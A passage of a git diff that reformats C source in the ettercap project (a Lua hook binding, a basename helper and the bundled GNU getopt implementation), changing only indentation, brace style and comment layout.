this in the -// near future to make our dispatching to lua much more efficient. -static int l_hook_add(lua_State* state) +// This is called when a hook is added in lua-land. We'll use this in the +// near future to make our dispatching to lua much more efficient. +static int l_hook_add(lua_State *state) { - int point, r; - struct lua_hook_list *lua_hook_entry; - - point = lua_tointeger(state, 1); - - // Set the top of the stack to point to the function. - lua_settop(state, 2); - - // Show a reference to the function into the registry. - r = luaL_ref(state, LUA_REGISTRYINDEX); - - SAFE_CALLOC(lua_hook_entry, 1, sizeof(struct lua_hook_list)); - lua_hook_entry->hook_point = point; - lua_hook_entry->func_ref = r; - SLIST_INSERT_HEAD(&lua_hook_table, lua_hook_entry, next); - return 0; + int point, r; + struct lua_hook_list *lua_hook_entry; + + point = lua_tointeger(state, 1); + + // Set the top of the stack to point to the function. + lua_settop(state, 2); + + // Show a reference to the function into the registry. + r = luaL_ref(state, LUA_REGISTRYINDEX); + + SAFE_CALLOC(lua_hook_entry, 1, sizeof(struct lua_hook_list)); + lua_hook_entry->hook_point = point; + lua_hook_entry->func_ref = r; + SLIST_INSERT_HEAD(&lua_hook_table, lua_hook_entry, next); + return 0; } static const struct luaL_Reg ec_lua_lib[] = { - {"hook_add", l_hook_add}, - {"log", l_log}, - {NULL, NULL} + { "hook_add", l_hook_add }, + { "log", l_log }, + { NULL, NULL } }; -LUALIB_API int luaopen_ettercap_c(lua_State *L) +LUALIB_API int luaopen_ettercap_c(lua_State *L) { - luaL_register(L, ETTERCAP_C_API_LUA_MODULE, ec_lua_lib); - return 1; + luaL_register(L, ETTERCAP_C_API_LUA_MODULE, ec_lua_lib); + return 1; } -EC_API_EXTERN void ec_lua_print_info(FILE* debug_file) +EC_API_EXTERN void ec_lua_print_info(FILE *debug_file) { - fprintf (debug_file, "-> ${INSTALL_LUA_ROOT} %s\n", INSTALL_LUA_ROOT); - fprintf (debug_file, "-> ${INSTALL_LUA_INIT} %s\n", INSTALL_LUA_INIT); - fprintf (debug_file, "-> ${INSTALL_LUA_CORE} %s\n", INSTALL_LUA_CORE); - fprintf (debug_file, "-> ${INSTALL_LUA_SCRIPTS} %s\n", INSTALL_LUA_SCRIPTS); + fprintf(debug_file, "-> ${INSTALL_LUA_ROOT} %s\n", INSTALL_LUA_ROOT); + fprintf(debug_file, "-> ${INSTALL_LUA_INIT} %s\n", INSTALL_LUA_INIT); + fprintf(debug_file, "-> ${INSTALL_LUA_CORE} %s\n", INSTALL_LUA_CORE); + fprintf(debug_file, "-> ${INSTALL_LUA_SCRIPTS} %s\n", INSTALL_LUA_SCRIPTS); } -EC_API_EXTERN void ec_lua_print_version(FILE* debug_file) + +EC_API_EXTERN void ec_lua_print_version(FILE *debug_file) { - fprintf(debug_file, "-> lua version %s\n", LUA_VERSION); + fprintf(debug_file, "-> lua version %s\n", LUA_VERSION); } - /* EOF */ // vim:ts=3:expandtab - - diff --git a/src/missing/basename.c b/src/missing/basename.c index f8c50b5c7..4c9cbb673 100644 --- a/src/missing/basename.c +++ b/src/missing/basename.c @@ -1,13 +1,13 @@ #include -char * basename (const char *filename); +char *basename(const char *filename); -char * basename (const char *filename) +char *basename(const char *filename) { - register char *p; - - p = strrchr (filename, '/'); - - return p ? p + 1 : (char *) filename; + register char *p; + + p = strrchr(filename, '/'); + + return p ? p + 1 : (char *)filename; } diff --git a/src/missing/getopt.c b/src/missing/getopt.c index 539b107ae..a9c8dafa6 100644 --- a/src/missing/getopt.c +++ b/src/missing/getopt.c @@ -1,256 +1,253 @@ /* Getopt for GNU. - NOTE: getopt is now part of the C library, so if you don't know what - "Keep this file name-space clean" means, talk to drepper@gnu.org - before changing it! - - Copyright (C) 1987, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 2000 - Free Software Foundation, Inc. - - The GNU C Library is free software; you can redistribute it and/or - modify it under the terms of the GNU Library General Public License as - published by the Free Software Foundation; either version 2 of the - License, or (at your option) any later version. - - The GNU C Library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Library General Public License for more details. - - You should have received a copy of the GNU Library General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ + * NOTE: getopt is now part of the C library, so if you don't know what + * "Keep this file name-space clean" means, talk to drepper@gnu.org + * before changing it! + * + * Copyright (C) 1987, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 2000 + * Free Software Foundation, Inc. + * + * The GNU C Library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Library General Public License as + * published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * The GNU C Library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /* This tells Alpha OSF/1 not to define a getopt prototype in . - Ditto for AIX 3.2 and . */ + * Ditto for AIX 3.2 and . */ #ifndef _NO_PROTO -# define _NO_PROTO +#define _NO_PROTO #endif #ifdef HAVE_CONFIG_H -# include +#include #endif #if !defined __STDC__ || !__STDC__ /* This is a separate conditional since some stdc systems - reject `defined (const)'. */ -# ifndef const -# define const -# endif + * reject `defined (const)'. */ +#ifndef const +#define const +#endif #endif #include /* Comment out all this code if we are using the GNU C Library, and are not - actually compiling the library itself. This code is part of the GNU C - Library, but also included in many other GNU distributions. Compiling - and linking in this code is a waste when using the GNU C library - (especially if it is a shared library). Rather than having every GNU - program understand `configure --with-gnu-libc' and omit the object files, - it is simpler to just do this in the source for each such file. */ + * actually compiling the library itself. This code is part of the GNU C + * Library, but also included in many other GNU distributions. Compiling + * and linking in this code is a waste when using the GNU C library + * (especially if it is a shared library). Rather than having every GNU + * program understand `configure --with-gnu-libc' and omit the object files, + * it is simpler to just do this in the source for each such file. */ #define GETOPT_INTERFACE_VERSION 2 #if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2 -# include -# if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION -# define ELIDE_CODE -# endif +#include +#if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION +#define ELIDE_CODE +#endif #endif #ifndef ELIDE_CODE - /* This needs to come after some library #include - to get __GNU_LIBRARY__ defined. */ -#ifdef __GNU_LIBRARY__ + * to get __GNU_LIBRARY__ defined. */ +#ifdef __GNU_LIBRARY__ /* Don't include stdlib.h for non-GNU C libraries because some of them - contain conflicting prototypes for getopt. */ -# include -# include -#endif /* GNU C library. */ + * contain conflicting prototypes for getopt. */ +#include +#include +#endif /* GNU C library. */ #ifdef VMS -# include -# if HAVE_STRING_H - 0 -# include -# endif +#include +#if HAVE_STRING_H - 0 +#include +#endif #endif #ifndef _ /* This is for other GNU distributions with internationalized messages. */ -# if defined HAVE_LIBINTL_H || defined _LIBC -# include -# ifndef _ -# define _(msgid) gettext (msgid) -# endif -# else -# define _(msgid) (msgid) -# endif +#if defined HAVE_LIBINTL_H || defined _LIBC +#include +#ifndef _ +#define _(msgid) gettext(msgid) +#endif +#else +#define _(msgid) (msgid) +#endif #endif /* This version of `getopt' appears to the caller like standard Unix `getopt' - but it behaves differently for the user, since it allows the user - to intersperse the options with the other arguments. - - As `getopt' works, it permutes the elements of ARGV so that, - when it is done, all the options precede everything else. Thus - all application programs are extended to handle flexible argument order. - - Setting the environment variable POSIXLY_CORRECT disables permutation. - Then the behavior is completely standard. - - GNU application programs can use a third alternative mode in which - they can distinguish the relative order of options and other arguments. */ + * but it behaves differently for the user, since it allows the user + * to intersperse the options with the other arguments. + * + * As `getopt' works, it permutes the elements of ARGV so that, + * when it is done, all the options precede everything else. Thus + * all application programs are extended to handle flexible argument order. + * + * Setting the environment variable POSIXLY_CORRECT disables permutation. + * Then the behavior is completely standard. + * + * GNU application programs can use a third alternative mode in which + * they can distinguish the relative order of options and other arguments. */ #include /* For communication from `getopt' to the caller. - When `getopt' finds an option that takes an argument, - the argument value is returned here. - Also, when `ordering' is RETURN_IN_ORDER, - each non-option ARGV-element is returned here. */ + * When `getopt' finds an option that takes an argument, + * the argument value is returned here. + * Also, when `ordering' is RETURN_IN_ORDER, + * each non-option ARGV-element is returned here. */ char *optarg; /* Index in ARGV of the next element to be scanned. - This is used for communication to and from the caller - and for communication between successive calls to `getopt'. - - On entry to `getopt', zero means this is the first call; initialize. - - When `getopt' returns -1, this is the index of the first of the - non-option elements that the caller should itself scan. - - Otherwise, `optind' communicates from one call to the next - how much of ARGV has been scanned so far. */ + * This is used for communication to and from the caller + * and for communication between successive calls to `getopt'. + * + * On entry to `getopt', zero means this is the first call; initialize. + * + * When `getopt' returns -1, this is the index of the first of the + * non-option elements that the caller should itself scan. + * + * Otherwise, `optind' communicates from one call to the next + * how much of ARGV has been scanned so far. */ /* 1003.2 says this must be 1 before any call. */ int optind = 1; /* Formerly, initialization of getopt depended on optind==0, which - causes problems with re-calling getopt as programs generally don't - know that. */ + * causes problems with re-calling getopt as programs generally don't + * know that. */ int __getopt_initialized; /* The next char to be scanned in the option-element - in which the last option character we returned was found. - This allows us to pick up the scan where we left off. - - If this is zero, or a null string, it means resume the scan - by advancing to the next ARGV-element. */ + * in which the last option character we returned was found. + * This allows us to pick up the scan where we left off. + * + * If this is zero, or a null string, it means resume the scan + * by advancing to the next ARGV-element. */ static char *nextchar; /* Callers store zero here to inhibit the error message - for unrecognized options. */ + * for unrecognized options. */ int opterr = 1; /* Set to an option character which was unrecognized. - This must be initialized on some systems to avoid linking in the - system's own getopt implementation. */ + * This must be initialized on some systems to avoid linking in the + * system's own getopt implementation. */ int optopt = '?'; /* Describe how to deal with options that follow non-option ARGV-elements. - - If the caller did not specify anything, - the default is REQUIRE_ORDER if the environment variable - POSIXLY_CORRECT is defined, PERMUTE otherwise. - - REQUIRE_ORDER means don't recognize them as options; - stop option processing when the first non-option is seen. - This is what Unix does. - This mode of operation is selected by either setting the environment - variable POSIXLY_CORRECT, or using `+' as the first character - of the list of option characters. - - PERMUTE is the default. We permute the contents of ARGV as we scan, - so that eventually all the non-options are at the end. This allows options - to be given in any order, even with programs that were not written to - expect this. - - RETURN_IN_ORDER is an option available to programs that were written - to expect options and other ARGV-elements in any order and that care about - the ordering of the two. We describe each non-option ARGV-element - as if it were the argument of an option with character code 1. - Using `-' as the first character of the list of option characters - selects this mode of operation. - - The special argument `--' forces an end of option-scanning regardless - of the value of `ordering'. In the case of RETURN_IN_ORDER, only - `--' can cause `getopt' to return -1 with `optind' != ARGC. */ - -static enum -{ - REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER + * + * If the caller did not specify anything, + * the default is REQUIRE_ORDER if the environment variable + * POSIXLY_CORRECT is defined, PERMUTE otherwise. + * + * REQUIRE_ORDER means don't recognize them as options; + * stop option processing when the first non-option is seen. + * This is what Unix does. + * This mode of operation is selected by either setting the environment + * variable POSIXLY_CORRECT, or using `+' as the first character + * of the list of option characters. + * + * PERMUTE is the default. We permute the contents of ARGV as we scan, + * so that eventually all the non-options are at the end. This allows options + * to be given in any order, even with programs that were not written to + * expect this. + * + * RETURN_IN_ORDER is an option available to programs that were written + * to expect options and other ARGV-elements in any order and that care about + * the ordering of the two. We describe each non-option ARGV-element + * as if it were the argument of an option with character code 1. + * Using `-' as the first character of the list of option characters + * selects this mode of operation. + * + * The special argument `--' forces an end of option-scanning regardless + * of the value of `ordering'. In the case of RETURN_IN_ORDER, only + * `--' can cause `getopt' to return -1 with `optind' != ARGC. */ + +static enum { + REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER } ordering; /* Value of POSIXLY_CORRECT environment variable. */ static char *posixly_correct; - -#ifdef __GNU_LIBRARY__ + +#ifdef __GNU_LIBRARY__ /* We want to avoid inclusion of string.h with non-GNU libraries - because there are many ways it can cause trouble. - On some systems, it contains special magic macros that don't work - in GCC. */ -# include -# define my_index strchr + * because there are many ways it can cause trouble. + * On some systems, it contains special magic macros that don't work + * in GCC. */ +#include +#define my_index strchr #else -# if HAVE_STRING_H -# include -# else -# include -# endif +#if HAVE_STRING_H +#include +#else +#include +#endif /* Avoid depending on library functions or files - whose names are inconsistent. */ + * whose names are inconsistent. */ #ifndef getenv -extern char *getenv (); +extern char *getenv(); #endif static char * -my_index (str, chr) - const char *str; - int chr; +my_index(str, chr) +const char *str; +int chr; { - while (*str) - { + while (*str) { if (*str == chr) - return (char *) str; + return (char *)str; str++; - } - return 0; + } + return 0; } /* If using GCC, we can safely declare strlen this way. - If not using GCC, it is ok not to declare it. */ + * If not using GCC, it is ok not to declare it. */ #ifdef __GNUC__ /* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h. - That was relevant to code that was here before. */ -# if (!defined __STDC__ || !__STDC__) && !defined strlen + * That was relevant to code that was here before. */ +#if (!defined __STDC__ || !__STDC__) && !defined strlen /* gcc with -traditional declares the built-in strlen to return int, - and has done so at least since version 2.4.5. -- rms. */ -extern int strlen (const char *); -# endif /* not __STDC__ */ + * and has done so at least since version 2.4.5. -- rms. */ +extern int strlen(const char *); +#endif /* not __STDC__ */ #endif /* __GNUC__ */ #endif /* not __GNU_LIBRARY__ */ - + /* Handle permutation of arguments. */ /* Describe the part of ARGV that contains non-options that have - been skipped. `first_nonopt' is the index in ARGV of the first of them; - `last_nonopt' is the index after the last of them. */ + * been skipped. `first_nonopt' is the index in ARGV of the first of them; + * `last_nonopt' is the index after the last of them. */ static int first_nonopt; static int last_nonopt; #ifdef _LIBC /* Bash 2.0 gives us an environment variable containing flags - indicating ARGV elements that should not be considered arguments. */ + * indicating ARGV elements that should not be considered arguments. */ /* Defined in getopt_init.c */ extern char *__getopt_nonoption_flags; @@ -262,389 +259,369 @@ static int original_argc; static char *const *original_argv; /* Make sure the environment variable bash 2.0 puts in the environment - is valid for the getopt call we must make sure that the ARGV passed - to getopt is that one passed to the process. */ + * is valid for the getopt call we must make sure that the ARGV passed + * to getopt is that one passed to the process. */ static void -__attribute__ ((unused)) -store_args_and_env (int argc, char *const *argv) +__attribute__ ((unused)) store_args_and_env(int argc, char *const *argv) { - /* XXX This is no good solution. We should rather copy the args so - that we can compare them later. But we must not use malloc(3). */ - original_argc = argc; - original_argv = argv; + /* XXX This is no good solution. We should rather copy the args so + * that we can compare them later. But we must not use malloc(3). */ + original_argc = argc; + original_argv = argv; } -# ifdef text_set_element -text_set_element (__libc_subinit, store_args_and_env); -# endif /* text_set_element */ - -# define SWAP_FLAGS(ch1, ch2) \ - if (nonoption_flags_len > 0) \ - { \ - char __tmp = __getopt_nonoption_flags[ch1]; \ - __getopt_nonoption_flags[ch1] = __getopt_nonoption_flags[ch2]; \ - __getopt_nonoption_flags[ch2] = __tmp; \ - } -#else /* !_LIBC */ -# define SWAP_FLAGS(ch1, ch2) -#endif /* _LIBC */ -/* Exchange two adjacent subsequences of ARGV. - One subsequence is elements [first_nonopt,last_nonopt) - which contains all the non-options that have been skipped so far. - The other is elements [last_nonopt,optind), which contains all - the options processed since those non-options were skipped. +#ifdef text_set_element +text_set_element(__libc_subinit, store_args_and_env); +#endif /* text_set_element */ + +#define SWAP_FLAGS(ch1, ch2) \ + if (nonoption_flags_len > 0) \ + { \ + char __tmp = __getopt_nonoption_flags[ch1]; \ + __getopt_nonoption_flags[ch1] = __getopt_nonoption_flags[ch2]; \ + __getopt_nonoption_flags[ch2] = __tmp; \ + } +#else /* !_LIBC */ +#define SWAP_FLAGS(ch1, ch2) +#endif /* _LIBC */ - `first_nonopt' and `last_nonopt' are relocated so that they describe - the new indices of the non-options in ARGV after they are moved. */ +/* Exchange two adjacent subsequences of ARGV. + * One subsequence is elements [first_nonopt,last_nonopt) + * which contains all the non-options that have been skipped so far. + * The other is elements [last_nonopt,optind), which contains all + * the options processed since those non-options were skipped. + * + * `first_nonopt' and `last_nonopt' are relocated so that they describe + * the new indices of the non-options in ARGV after they are moved. */ #if defined __STDC__ && __STDC__ -static void exchange (char **); +static void exchange(char **); #endif static void -exchange (argv) - char **argv; +exchange(argv) +char **argv; { - int bottom = first_nonopt; - int middle = last_nonopt; - int top = optind; - char *tem; + int bottom = first_nonopt; + int middle = last_nonopt; + int top = optind; + char *tem; - /* Exchange the shorter segment with the far end of the longer segment. - That puts the shorter segment into the right place. - It leaves the longer segment in the right place overall, - but it consists of two parts that need to be swapped next. */ + /* Exchange the shorter segment with the far end of the longer segment. + * That puts the shorter segment into the right place. + * It leaves the longer segment in the right place overall, + * but it consists of two parts that need to be swapped next. */ #ifdef _LIBC - /* First make sure the handling of the `__getopt_nonoption_flags' - string can work normally. Our top argument must be in the range - of the string. */ - if (nonoption_flags_len > 0 && top >= nonoption_flags_max_len) - { + /* First make sure the handling of the `__getopt_nonoption_flags' + * string can work normally. Our top argument must be in the range + * of the string. */ + if (nonoption_flags_len > 0 && top >= nonoption_flags_max_len) { /* We must extend the array. The user plays games with us and - presents new arguments. */ - char *new_str = malloc (top + 1); + * presents new arguments. */ + char *new_str = malloc(top + 1); if (new_str == NULL) - nonoption_flags_len = nonoption_flags_max_len = 0; - else - { - memset (__mempcpy (new_str, __getopt_nonoption_flags, - nonoption_flags_max_len), - '\0', top + 1 - nonoption_flags_max_len); - nonoption_flags_max_len = top + 1; - __getopt_nonoption_flags = new_str; - } - } + nonoption_flags_len = nonoption_flags_max_len = 0; + else { + memset(__mempcpy(new_str, __getopt_nonoption_flags, + nonoption_flags_max_len), + '\0', top + 1 - nonoption_flags_max_len); + nonoption_flags_max_len = top + 1; + __getopt_nonoption_flags = new_str; + } + } #endif - while (top > middle && middle > bottom) - { - if (top - middle > middle - bottom) - { - /* Bottom segment is the short one. */ - int len = middle - bottom; - register int i; - - /* Swap it with the top part of the top segment. */ - for (i = 0; i < len; i++) - { - tem = argv[bottom + i]; - argv[bottom + i] = argv[top - (middle - bottom) + i]; - argv[top - (middle - bottom) + i] = tem; - SWAP_FLAGS (bottom + i, top - (middle - bottom) + i); - } - /* Exclude the moved bottom segment from further swapping. */ - top -= len; - } - else - { - /* Top segment is the short one. */ - int len = top - middle; - register int i; - - /* Swap it with the bottom part of the bottom segment. */ - for (i = 0; i < len; i++) - { - tem = argv[bottom + i]; - argv[bottom + i] = argv[middle + i]; - argv[middle + i] = tem; - SWAP_FLAGS (bottom + i, middle + i); - } - /* Exclude the moved top segment from further swapping. */ - bottom += len; - } - } - - /* Update records for the slots the non-options now occupy. */ - - first_nonopt += (optind - last_nonopt); - last_nonopt = optind; + while (top > middle && middle > bottom) { + if (top - middle > middle - bottom) { + /* Bottom segment is the short one. */ + int len = middle - bottom; + register int i; + + /* Swap it with the top part of the top segment. */ + for (i = 0; i < len; i++) { + tem = argv[bottom + i]; + argv[bottom + i] = argv[top - (middle - bottom) + i]; + argv[top - (middle - bottom) + i] = tem; + SWAP_FLAGS(bottom + i, top - (middle - bottom) + i); + } + /* Exclude the moved bottom segment from further swapping. */ + top -= len; + } else { + /* Top segment is the short one. */ + int len = top - middle; + register int i; + + /* Swap it with the bottom part of the bottom segment. */ + for (i = 0; i < len; i++) { + tem = argv[bottom + i]; + argv[bottom + i] = argv[middle + i]; + argv[middle + i] = tem; + SWAP_FLAGS(bottom + i, middle + i); + } + /* Exclude the moved top segment from further swapping. */ + bottom += len; + } + } + + /* Update records for the slots the non-options now occupy. */ + + first_nonopt += (optind - last_nonopt); + last_nonopt = optind; } /* Initialize the internal data when the first call is made. */ #if defined __STDC__ && __STDC__ -static const char *_getopt_initialize (int, char *const *, const char *); +static const char *_getopt_initialize(int, char *const *, const char *); #endif static const char * -_getopt_initialize (argc, argv, optstring) - int argc; - char *const *argv; - const char *optstring; +_getopt_initialize(argc, argv, optstring) +int argc; +char *const *argv; +const char *optstring; { - /* Start processing options with ARGV-element 1 (since ARGV-element 0 - is the program name); the sequence of previously skipped - non-option ARGV-elements is empty. */ + /* Start processing options with ARGV-element 1 (since ARGV-element 0 + * is the program name); the sequence of previously skipped + * non-option ARGV-elements is empty. */ - first_nonopt = last_nonopt = optind; + first_nonopt = last_nonopt = optind; - nextchar = NULL; + nextchar = NULL; - posixly_correct = getenv ("POSIXLY_CORRECT"); + posixly_correct = getenv("POSIXLY_CORRECT"); - /* Determine how to handle the ordering of options and nonoptions. */ + /* Determine how to handle the ordering of options and nonoptions. */ - if (optstring[0] == '-') - { + if (optstring[0] == '-') { ordering = RETURN_IN_ORDER; ++optstring; - } - else if (optstring[0] == '+') - { + } else if (optstring[0] == '+') { ordering = REQUIRE_ORDER; ++optstring; - } - else if (posixly_correct != NULL) - ordering = REQUIRE_ORDER; - else - ordering = PERMUTE; + } else if (posixly_correct != NULL) + ordering = REQUIRE_ORDER; + else + ordering = PERMUTE; #ifdef _LIBC - if (posixly_correct == NULL - && argc == original_argc && argv == original_argv) - { - if (nonoption_flags_max_len == 0) - { - if (__getopt_nonoption_flags == NULL - || __getopt_nonoption_flags[0] == '\0') - nonoption_flags_max_len = -1; - else - { - const char *orig_str = __getopt_nonoption_flags; - int len = nonoption_flags_max_len = strlen (orig_str); - if (nonoption_flags_max_len < argc) - nonoption_flags_max_len = argc; - __getopt_nonoption_flags = - (char *) malloc (nonoption_flags_max_len); - if (__getopt_nonoption_flags == NULL) - nonoption_flags_max_len = -1; - else - memset (__mempcpy (__getopt_nonoption_flags, orig_str, len), - '\0', nonoption_flags_max_len - len); - } - } + if (posixly_correct == NULL + && argc == original_argc && argv == original_argv) + { + if (nonoption_flags_max_len == 0) { + if (__getopt_nonoption_flags == NULL + || __getopt_nonoption_flags[0] == '\0') + nonoption_flags_max_len = -1; + else { + const char *orig_str = __getopt_nonoption_flags; + int len = nonoption_flags_max_len = strlen(orig_str); + if (nonoption_flags_max_len < argc) + nonoption_flags_max_len = argc; + __getopt_nonoption_flags = + (char *)malloc(nonoption_flags_max_len); + if (__getopt_nonoption_flags == NULL) + nonoption_flags_max_len = -1; + else + memset(__mempcpy(__getopt_nonoption_flags, orig_str, len), + '\0', nonoption_flags_max_len - len); + } + } nonoption_flags_len = nonoption_flags_max_len; - } - else - nonoption_flags_len = 0; + } else + nonoption_flags_len = 0; #else - (void) argc; - (void) argv; + (void)argc; + (void)argv; #endif - return optstring; + return optstring; } - + /* Scan elements of ARGV (whose length is ARGC) for option characters - given in OPTSTRING. - - If an element of ARGV starts with '-', and is not exactly "-" or "--", - then it is an option element. The characters of this element - (aside from the initial '-') are option characters. If `getopt' - is called repeatedly, it returns successively each of the option characters - from each of the option elements. - - If `getopt' finds another option character, it returns that character, - updating `optind' and `nextchar' so that the next call to `getopt' can - resume the scan with the following option character or ARGV-element. - - If there are no more option characters, `getopt' returns -1. - Then `optind' is the index in ARGV of the first ARGV-element - that is not an option. (The ARGV-elements have been permuted - so that those that are not options now come last.) - - OPTSTRING is a string containing the legitimate option characters. - If an option character is seen that is not listed in OPTSTRING, - return '?' after printing an error message. If you set `opterr' to - zero, the error message is suppressed but we still return '?'. - - If a char in OPTSTRING is followed by a colon, that means it wants an arg, - so the following text in the same ARGV-element, or the text of the following - ARGV-element, is returned in `optarg'. Two colons mean an option that - wants an optional arg; if there is text in the current ARGV-element, - it is returned in `optarg', otherwise `optarg' is set to zero. - - If OPTSTRING starts with `-' or `+', it requests different methods of - handling the non-option ARGV-elements. - See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above. - - Long-named options begin with `--' instead of `-'. - Their names may be abbreviated as long as the abbreviation is unique - or is an exact match for some defined option. If they have an - argument, it follows the option name in the same ARGV-element, separated - from the option name by a `=', or else the in next ARGV-element. - When `getopt' finds a long-named option, it returns 0 if that option's - `flag' field is nonzero, the value of the option's `val' field - if the `flag' field is zero. - - The elements of ARGV aren't really const, because we permute them. - But we pretend they're const in the prototype to be compatible - with other systems. - - LONGOPTS is a vector of `struct option' terminated by an - element containing a name which is zero. - - LONGIND returns the index in LONGOPT of the long-named option found. - It is only valid when a long-named option has been found by the most - recent call. - - If LONG_ONLY is nonzero, '-' as well as '--' can introduce - long-named options. */ + * given in OPTSTRING. + * + * If an element of ARGV starts with '-', and is not exactly "-" or "--", + * then it is an option element. The characters of this element + * (aside from the initial '-') are option characters. If `getopt' + * is called repeatedly, it returns successively each of the option characters + * from each of the option elements. + * + * If `getopt' finds another option character, it returns that character, + * updating `optind' and `nextchar' so that the next call to `getopt' can + * resume the scan with the following option character or ARGV-element. + * + * If there are no more option characters, `getopt' returns -1. + * Then `optind' is the index in ARGV of the first ARGV-element + * that is not an option. (The ARGV-elements have been permuted + * so that those that are not options now come last.) + * + * OPTSTRING is a string containing the legitimate option characters. + * If an option character is seen that is not listed in OPTSTRING, + * return '?' after printing an error message. If you set `opterr' to + * zero, the error message is suppressed but we still return '?'. + * + * If a char in OPTSTRING is followed by a colon, that means it wants an arg, + * so the following text in the same ARGV-element, or the text of the following + * ARGV-element, is returned in `optarg'. Two colons mean an option that + * wants an optional arg; if there is text in the current ARGV-element, + * it is returned in `optarg', otherwise `optarg' is set to zero. + * + * If OPTSTRING starts with `-' or `+', it requests different methods of + * handling the non-option ARGV-elements. + * See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above. + * + * Long-named options begin with `--' instead of `-'. + * Their names may be abbreviated as long as the abbreviation is unique + * or is an exact match for some defined option. If they have an + * argument, it follows the option name in the same ARGV-element, separated + * from the option name by a `=', or else the in next ARGV-element. + * When `getopt' finds a long-named option, it returns 0 if that option's + * `flag' field is nonzero, the value of the option's `val' field + * if the `flag' field is zero. + * + * The elements of ARGV aren't really const, because we permute them. + * But we pretend they're const in the prototype to be compatible + * with other systems. + * + * LONGOPTS is a vector of `struct option' terminated by an + * element containing a name which is zero. + * + * LONGIND returns the index in LONGOPT of the long-named option found. + * It is only valid when a long-named option has been found by the most + * recent call. + * + * If LONG_ONLY is nonzero, '-' as well as '--' can introduce + * long-named options. */ int -_getopt_internal (argc, argv, optstring, longopts, longind, long_only) - int argc; - char *const *argv; - const char *optstring; - const struct option *longopts; - int *longind; - int long_only; +_getopt_internal(argc, argv, optstring, longopts, longind, long_only) +int argc; +char *const *argv; +const char *optstring; +const struct option *longopts; +int *longind; +int long_only; { - int print_errors = opterr; - if (optstring[0] == ':') - print_errors = 0; + int print_errors = opterr; + if (optstring[0] == ':') + print_errors = 0; - if (argc < 1) - return -1; + if (argc < 1) + return -1; - optarg = NULL; + optarg = NULL; - if (optind == 0 || !__getopt_initialized) - { + if (optind == 0 || !__getopt_initialized) { if (optind == 0) - optind = 1; /* Don't scan ARGV[0], the program name. */ - optstring = _getopt_initialize (argc, argv, optstring); + optind = 1; /* Don't scan ARGV[0], the program name. */ + optstring = _getopt_initialize(argc, argv, optstring); __getopt_initialized = 1; - } + } - /* Test whether ARGV[optind] points to a non-option argument. - Either it does not have option syntax, or there is an environment flag - from the shell indicating it is not an option. The later information - is only used when the used in the GNU libc. */ + /* Test whether ARGV[optind] points to a non-option argument. + * Either it does not have option syntax, or there is an environment flag + * from the shell indicating it is not an option. The later information + * is only used when the used in the GNU libc. */ #ifdef _LIBC -# define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0' \ - || (optind < nonoption_flags_len \ - && __getopt_nonoption_flags[optind] == '1')) +#define NONOPTION_P \ + (argv[optind][0] != '-' || argv[optind][1] == '\0' \ + || (optind < nonoption_flags_len \ + && __getopt_nonoption_flags[optind] == '1')) #else -# define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0') +#define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0') #endif - if (nextchar == NULL || *nextchar == '\0') - { + if (nextchar == NULL || *nextchar == '\0') { /* Advance to the next ARGV-element. */ /* Give FIRST_NONOPT & LAST_NONOPT rational values if OPTIND has been - moved back by the user (who may also have changed the arguments). */ + * moved back by the user (who may also have changed the arguments). */ if (last_nonopt > optind) - last_nonopt = optind; + last_nonopt = optind; if (first_nonopt > optind) - first_nonopt = optind; + first_nonopt = optind; - if (ordering == PERMUTE) - { - /* If we have just processed some options following some non-options, - exchange them so that the options come first. */ + if (ordering == PERMUTE) { + /* If we have just processed some options following some non-options, + * exchange them so that the options come first. */ - if (first_nonopt != last_nonopt && last_nonopt != optind) - exchange ((char **) argv); - else if (last_nonopt != optind) - first_nonopt = optind; + if (first_nonopt != last_nonopt && last_nonopt != optind) + exchange((char **)argv); + else if (last_nonopt != optind) + first_nonopt = optind; - /* Skip any additional non-options - and extend the range of non-options previously skipped. */ + /* Skip any additional non-options + * and extend the range of non-options previously skipped. */ - while (optind < argc && NONOPTION_P) - optind++; - last_nonopt = optind; - } + while (optind < argc && NONOPTION_P) + optind++; + last_nonopt = optind; + } /* The special ARGV-element `--' means premature end of options. - Skip it like a null option, - then exchange with previous non-options as if it were an option, - then skip everything else like a non-option. */ + * Skip it like a null option, + * then exchange with previous non-options as if it were an option, + * then skip everything else like a non-option. */ - if (optind != argc && !strcmp (argv[optind], "--")) - { - optind++; + if (optind != argc && !strcmp(argv[optind], "--")) { + optind++; - if (first_nonopt != last_nonopt && last_nonopt != optind) - exchange ((char **) argv); - else if (first_nonopt == last_nonopt) - first_nonopt = optind; - last_nonopt = argc; + if (first_nonopt != last_nonopt && last_nonopt != optind) + exchange((char **)argv); + else if (first_nonopt == last_nonopt) + first_nonopt = optind; + last_nonopt = argc; - optind = argc; - } + optind = argc; + } /* If we have done all the ARGV-elements, stop the scan - and back over any non-options that we skipped and permuted. */ - - if (optind == argc) - { - /* Set the next-arg-index to point at the non-options - that we previously skipped, so the caller will digest them. */ - if (first_nonopt != last_nonopt) - optind = first_nonopt; - return -1; - } + * and back over any non-options that we skipped and permuted. 